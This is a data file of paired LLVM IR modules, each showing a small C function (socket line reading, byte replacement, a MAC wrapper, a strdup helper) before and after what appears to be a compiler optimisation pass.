!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
|
; ModuleID = '/tmp/tmp_1j89wuy.c'
source_filename = "/tmp/tmp_1j89wuy.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@errno = dso_local global i32 0, align 4
@.str = private unnamed_addr constant [3 x i8] c"%s\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @die(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
store ptr %0, ptr %2, align 8
%3 = load i32, ptr @errno, align 4
%4 = load ptr, ptr %2, align 8
%5 = call i32 @error(i32 noundef 1, i32 noundef %3, ptr noundef @.str, ptr noundef %4)
ret void
}
declare i32 @error(i32 noundef, i32 noundef, ptr noundef, ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp_1j89wuy.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@errno = dso_local global i32 0, align 4
@.str = private unnamed_addr constant [3 x i8] c"%s\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @die(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
store ptr %0, ptr %2, align 8
%3 = load i32, ptr @errno, align 4
%4 = load ptr, ptr %2, align 8
%5 = call i32 @error(i32 noundef 1, i32 noundef %3, ptr noundef @.str, ptr noundef %4)
ret void
}
declare i32 @error(i32 noundef, i32 noundef, ptr noundef, ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmprrgjd2dl.c'
source_filename = "/tmp/tmprrgjd2dl.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @get_line(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
%6 = alloca ptr, align 8
%7 = alloca i32, align 4
store i32 %0, ptr %4, align 4
store ptr %1, ptr %5, align 8
%8 = load ptr, ptr %5, align 8
store ptr %8, ptr %6, align 8
br label %9
9: ; preds = %32, %2
%10 = load i32, ptr %4, align 4
%11 = load ptr, ptr %6, align 8
%12 = call i32 @recv(i32 noundef %10, ptr noundef %11, i32 noundef 1, i32 noundef 0)
store i32 %12, ptr %7, align 4
%13 = icmp eq i32 %12, 1
br i1 %13, label %14, label %35
14: ; preds = %9
%15 = load ptr, ptr %6, align 8
%16 = load i8, ptr %15, align 1
%17 = sext i8 %16 to i32
%18 = icmp eq i32 %17, 10
br i1 %18, label %19, label %23
19: ; preds = %14
%20 = load ptr, ptr %6, align 8
store i8 0, ptr %20, align 1
%21 = load ptr, ptr %5, align 8
%22 = call i32 @strlen(ptr noundef %21)
store i32 %22, ptr %3, align 4
br label %37
23: ; preds = %14
%24 = load ptr, ptr %6, align 8
%25 = load i8, ptr %24, align 1
%26 = sext i8 %25 to i32
%27 = icmp eq i32 %26, 0
br i1 %27, label %28, label %31
28: ; preds = %23
%29 = load ptr, ptr %5, align 8
%30 = call i32 @strlen(ptr noundef %29)
store i32 %30, ptr %3, align 4
br label %37
31: ; preds = %23
br label %32
32: ; preds = %31
%33 = load ptr, ptr %6, align 8
%34 = getelementptr inbounds i8, ptr %33, i32 1
store ptr %34, ptr %6, align 8
br label %9, !llvm.loop !6
35: ; preds = %9
%36 = load i32, ptr %7, align 4
store i32 %36, ptr %3, align 4
br label %37
37: ; preds = %35, %28, %19
%38 = load i32, ptr %3, align 4
ret i32 %38
}
declare i32 @recv(i32 noundef, ptr noundef, i32 noundef, i32 noundef) #1
declare i32 @strlen(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmprrgjd2dl.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @get_line(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
%6 = alloca ptr, align 8
%7 = alloca i32, align 4
store i32 %0, ptr %4, align 4
store ptr %1, ptr %5, align 8
%8 = load ptr, ptr %5, align 8
store ptr %8, ptr %6, align 8
%9 = load i32, ptr %4, align 4
%10 = load ptr, ptr %6, align 8
%11 = call i32 @recv(i32 noundef %9, ptr noundef %10, i32 noundef 1, i32 noundef 0)
store i32 %11, ptr %7, align 4
%12 = icmp eq i32 %11, 1
br i1 %12, label %.lr.ph, label %38
.lr.ph: ; preds = %2
br label %13
13: ; preds = %.lr.ph, %31
%14 = load ptr, ptr %6, align 8
%15 = load i8, ptr %14, align 1
%16 = sext i8 %15 to i32
%17 = icmp eq i32 %16, 10
br i1 %17, label %18, label %22
18: ; preds = %13
%19 = load ptr, ptr %6, align 8
store i8 0, ptr %19, align 1
%20 = load ptr, ptr %5, align 8
%21 = call i32 @strlen(ptr noundef %20)
store i32 %21, ptr %3, align 4
br label %40
22: ; preds = %13
%23 = load ptr, ptr %6, align 8
%24 = load i8, ptr %23, align 1
%25 = sext i8 %24 to i32
%26 = icmp eq i32 %25, 0
br i1 %26, label %27, label %30
27: ; preds = %22
%28 = load ptr, ptr %5, align 8
%29 = call i32 @strlen(ptr noundef %28)
store i32 %29, ptr %3, align 4
br label %40
30: ; preds = %22
br label %31
31: ; preds = %30
%32 = load ptr, ptr %6, align 8
%33 = getelementptr inbounds i8, ptr %32, i32 1
store ptr %33, ptr %6, align 8
%34 = load i32, ptr %4, align 4
%35 = load ptr, ptr %6, align 8
%36 = call i32 @recv(i32 noundef %34, ptr noundef %35, i32 noundef 1, i32 noundef 0)
store i32 %36, ptr %7, align 4
%37 = icmp eq i32 %36, 1
br i1 %37, label %13, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %31
br label %38
38: ; preds = %._crit_edge, %2
%39 = load i32, ptr %7, align 4
store i32 %39, ptr %3, align 4
br label %40
40: ; preds = %38, %27, %18
%41 = load i32, ptr %3, align 4
ret i32 %41
}
declare i32 @recv(i32 noundef, ptr noundef, i32 noundef, i32 noundef) #1
declare i32 @strlen(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '/tmp/tmpzmblva1i.c'
source_filename = "/tmp/tmpzmblva1i.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@opt_doReaderMAC.cc_nr = internal global [12 x i32] zeroinitializer, align 16
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @opt_doReaderMAC(ptr noundef %0, ptr noundef %1, ptr noundef %2) #0 {
%4 = alloca ptr, align 8
%5 = alloca ptr, align 8
%6 = alloca ptr, align 8
%7 = alloca [8 x i32], align 16
store ptr %0, ptr %4, align 8
store ptr %1, ptr %5, align 8
store ptr %2, ptr %6, align 8
%8 = load ptr, ptr %4, align 8
%9 = call i32 @opt_reverse_arraybytecpy(ptr noundef @opt_doReaderMAC.cc_nr, ptr noundef %8, i32 noundef 12)
call void @llvm.memset.p0.i64(ptr align 16 %7, i8 0, i64 32, i1 false)
%10 = load ptr, ptr %5, align 8
%11 = getelementptr inbounds [8 x i32], ptr %7, i64 0, i64 0
%12 = call i32 @opt_MAC(ptr noundef %10, ptr noundef @opt_doReaderMAC.cc_nr, ptr noundef %11)
%13 = load ptr, ptr %6, align 8
%14 = getelementptr inbounds [8 x i32], ptr %7, i64 0, i64 0
%15 = call i32 @opt_reverse_arraybytecpy(ptr noundef %13, ptr noundef %14, i32 noundef 4)
ret void
}
declare i32 @opt_reverse_arraybytecpy(ptr noundef, ptr noundef, i32 noundef) #1
; Function Attrs: nocallback nofree nounwind willreturn memory(argmem: write)
declare void @llvm.memset.p0.i64(ptr nocapture writeonly, i8, i64, i1 immarg) #2
declare i32 @opt_MAC(ptr noundef, ptr noundef, ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nocallback nofree nounwind willreturn memory(argmem: write) }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpzmblva1i.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@opt_doReaderMAC.cc_nr = internal global [12 x i32] zeroinitializer, align 16
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @opt_doReaderMAC(ptr noundef %0, ptr noundef %1, ptr noundef %2) #0 {
%4 = alloca ptr, align 8
%5 = alloca ptr, align 8
%6 = alloca ptr, align 8
%7 = alloca [8 x i32], align 16
store ptr %0, ptr %4, align 8
store ptr %1, ptr %5, align 8
store ptr %2, ptr %6, align 8
%8 = load ptr, ptr %4, align 8
%9 = call i32 @opt_reverse_arraybytecpy(ptr noundef @opt_doReaderMAC.cc_nr, ptr noundef %8, i32 noundef 12)
call void @llvm.memset.p0.i64(ptr align 16 %7, i8 0, i64 32, i1 false)
%10 = load ptr, ptr %5, align 8
%11 = getelementptr inbounds [8 x i32], ptr %7, i64 0, i64 0
%12 = call i32 @opt_MAC(ptr noundef %10, ptr noundef @opt_doReaderMAC.cc_nr, ptr noundef %11)
%13 = load ptr, ptr %6, align 8
%14 = getelementptr inbounds [8 x i32], ptr %7, i64 0, i64 0
%15 = call i32 @opt_reverse_arraybytecpy(ptr noundef %13, ptr noundef %14, i32 noundef 4)
ret void
}
declare i32 @opt_reverse_arraybytecpy(ptr noundef, ptr noundef, i32 noundef) #1
; Function Attrs: nocallback nofree nounwind willreturn memory(argmem: write)
declare void @llvm.memset.p0.i64(ptr nocapture writeonly, i8, i64, i1 immarg) #2
declare i32 @opt_MAC(ptr noundef, ptr noundef, ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nocallback nofree nounwind willreturn memory(argmem: write) }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp9m2izu94.c'
source_filename = "/tmp/tmp9m2izu94.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @dispatch_command(ptr noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca ptr, align 8
%5 = alloca ptr, align 8
store ptr %0, ptr %4, align 8
store ptr %1, ptr %5, align 8
%6 = load ptr, ptr %5, align 8
%7 = load ptr, ptr %4, align 8
%8 = call i32 @memcpy(ptr noundef %6, ptr noundef %7, i32 noundef 256)
%9 = load ptr, ptr %4, align 8
%10 = call ptr @strchr(ptr noundef %9, i8 noundef signext 10)
%11 = icmp ne ptr null, %10
br i1 %11, label %12, label %13
12: ; preds = %2
store i32 1, ptr %3, align 4
br label %14
13: ; preds = %2
store i32 0, ptr %3, align 4
br label %14
14: ; preds = %13, %12
%15 = load i32, ptr %3, align 4
ret i32 %15
}
declare i32 @memcpy(ptr noundef, ptr noundef, i32 noundef) #1
declare ptr @strchr(ptr noundef, i8 noundef signext) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp9m2izu94.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @dispatch_command(ptr noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca ptr, align 8
%5 = alloca ptr, align 8
store ptr %0, ptr %4, align 8
store ptr %1, ptr %5, align 8
%6 = load ptr, ptr %5, align 8
%7 = load ptr, ptr %4, align 8
%8 = call i32 @memcpy(ptr noundef %6, ptr noundef %7, i32 noundef 256)
%9 = load ptr, ptr %4, align 8
%10 = call ptr @strchr(ptr noundef %9, i8 noundef signext 10)
%11 = icmp ne ptr null, %10
br i1 %11, label %12, label %13
12: ; preds = %2
store i32 1, ptr %3, align 4
br label %14
13: ; preds = %2
store i32 0, ptr %3, align 4
br label %14
14: ; preds = %13, %12
%15 = load i32, ptr %3, align 4
ret i32 %15
}
declare i32 @memcpy(ptr noundef, ptr noundef, i32 noundef) #1
declare ptr @strchr(ptr noundef, i8 noundef signext) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp98qqrinn.c'
source_filename = "/tmp/tmp98qqrinn.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [26 x i8] c"Error: Out of bounds [i]\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @replace_byte(i32 noundef %0, i32 noundef %1, i8 noundef zeroext %2) #0 {
%4 = alloca i32, align 4
%5 = alloca i32, align 4
%6 = alloca i32, align 4
%7 = alloca i8, align 1
%8 = alloca i32, align 4
%9 = alloca i32, align 4
%10 = alloca i32, align 4
store i32 %0, ptr %5, align 4
store i32 %1, ptr %6, align 4
store i8 %2, ptr %7, align 1
%11 = load i32, ptr %6, align 4
%12 = icmp sgt i32 %11, 3
br i1 %12, label %13, label %16
13: ; preds = %3
%14 = call i32 @printf(ptr noundef @.str)
%15 = load i32, ptr %5, align 4
store i32 %15, ptr %4, align 4
br label %42
16: ; preds = %3
%17 = load i32, ptr %6, align 4
%18 = mul nsw i32 8, %17
%19 = sub nsw i32 24, %18
store i32 %19, ptr %8, align 4
%20 = load i32, ptr %5, align 4
%21 = load i32, ptr %8, align 4
%22 = shl i32 %20, %21
%23 = load i32, ptr %8, align 4
%24 = load i32, ptr %6, align 4
%25 = mul nsw i32 %24, 8
%26 = add nsw i32 %23, %25
%27 = lshr i32 %22, %26
%28 = load i32, ptr %6, align 4
%29 = mul nsw i32 %28, 8
%30 = shl i32 %27, %29
store i32 %30, ptr %9, align 4
%31 = load i8, ptr %7, align 1
%32 = zext i8 %31 to i32
%33 = load i32, ptr %6, align 4
%34 = mul nsw i32 %33, 8
%35 = shl i32 %32, %34
store i32 %35, ptr %10, align 4
%36 = load i32, ptr %5, align 4
%37 = load i32, ptr %9, align 4
%38 = sub i32 %36, %37
%39 = load i32, ptr %10, align 4
%40 = add i32 %38, %39
store i32 %40, ptr %5, align 4
%41 = load i32, ptr %5, align 4
store i32 %41, ptr %4, align 4
br label %42
42: ; preds = %16, %13
%43 = load i32, ptr %4, align 4
ret i32 %43
}
declare i32 @printf(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp98qqrinn.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [26 x i8] c"Error: Out of bounds [i]\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @replace_byte(i32 noundef %0, i32 noundef %1, i8 noundef zeroext %2) #0 {
%4 = alloca i32, align 4
%5 = alloca i32, align 4
%6 = alloca i32, align 4
%7 = alloca i8, align 1
%8 = alloca i32, align 4
%9 = alloca i32, align 4
%10 = alloca i32, align 4
store i32 %0, ptr %5, align 4
store i32 %1, ptr %6, align 4
store i8 %2, ptr %7, align 1
%11 = load i32, ptr %6, align 4
%12 = icmp sgt i32 %11, 3
br i1 %12, label %13, label %16
13: ; preds = %3
%14 = call i32 @printf(ptr noundef @.str)
%15 = load i32, ptr %5, align 4
store i32 %15, ptr %4, align 4
br label %42
16: ; preds = %3
%17 = load i32, ptr %6, align 4
%18 = mul nsw i32 8, %17
%19 = sub nsw i32 24, %18
store i32 %19, ptr %8, align 4
%20 = load i32, ptr %5, align 4
%21 = load i32, ptr %8, align 4
%22 = shl i32 %20, %21
%23 = load i32, ptr %8, align 4
%24 = load i32, ptr %6, align 4
%25 = mul nsw i32 %24, 8
%26 = add nsw i32 %23, %25
%27 = lshr i32 %22, %26
%28 = load i32, ptr %6, align 4
%29 = mul nsw i32 %28, 8
%30 = shl i32 %27, %29
store i32 %30, ptr %9, align 4
%31 = load i8, ptr %7, align 1
%32 = zext i8 %31 to i32
%33 = load i32, ptr %6, align 4
%34 = mul nsw i32 %33, 8
%35 = shl i32 %32, %34
store i32 %35, ptr %10, align 4
%36 = load i32, ptr %5, align 4
%37 = load i32, ptr %9, align 4
%38 = sub i32 %36, %37
%39 = load i32, ptr %10, align 4
%40 = add i32 %38, %39
store i32 %40, ptr %5, align 4
%41 = load i32, ptr %5, align 4
store i32 %41, ptr %4, align 4
br label %42
42: ; preds = %16, %13
%43 = load i32, ptr %4, align 4
ret i32 %43
}
declare i32 @printf(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpr9xync56.c'
source_filename = "/tmp/tmpr9xync56.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [32 x i8] c"hlr_strdups([%d bytes]) failed.\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local ptr @hlr_strdups(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
%3 = alloca ptr, align 8
store ptr %0, ptr %2, align 8
%4 = load ptr, ptr %2, align 8
%5 = call ptr @strdup(ptr noundef %4)
store ptr %5, ptr %3, align 8
%6 = load ptr, ptr %3, align 8
%7 = icmp ne ptr %6, null
br i1 %7, label %13, label %8
8: ; preds = %1
%9 = load ptr, ptr %2, align 8
%10 = call i64 @strlen(ptr noundef %9)
%11 = add nsw i64 %10, 1
%12 = call i32 @die(ptr noundef @.str, i64 noundef %11)
br label %13
13: ; preds = %8, %1
%14 = load ptr, ptr %3, align 8
ret ptr %14
}
declare ptr @strdup(ptr noundef) #1
declare i32 @die(ptr noundef, i64 noundef) #1
declare i64 @strlen(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpr9xync56.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [32 x i8] c"hlr_strdups([%d bytes]) failed.\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local ptr @hlr_strdups(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
%3 = alloca ptr, align 8
store ptr %0, ptr %2, align 8
%4 = load ptr, ptr %2, align 8
%5 = call ptr @strdup(ptr noundef %4)
store ptr %5, ptr %3, align 8
%6 = load ptr, ptr %3, align 8
%7 = icmp ne ptr %6, null
br i1 %7, label %13, label %8
8: ; preds = %1
%9 = load ptr, ptr %2, align 8
%10 = call i64 @strlen(ptr noundef %9)
%11 = add nsw i64 %10, 1
%12 = call i32 @die(ptr noundef @.str, i64 noundef %11)
br label %13
13: ; preds = %8, %1
%14 = load ptr, ptr %3, align 8
ret ptr %14
}
declare ptr @strdup(ptr noundef) #1
declare i32 @die(ptr noundef, i64 noundef) #1
declare i64 @strlen(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
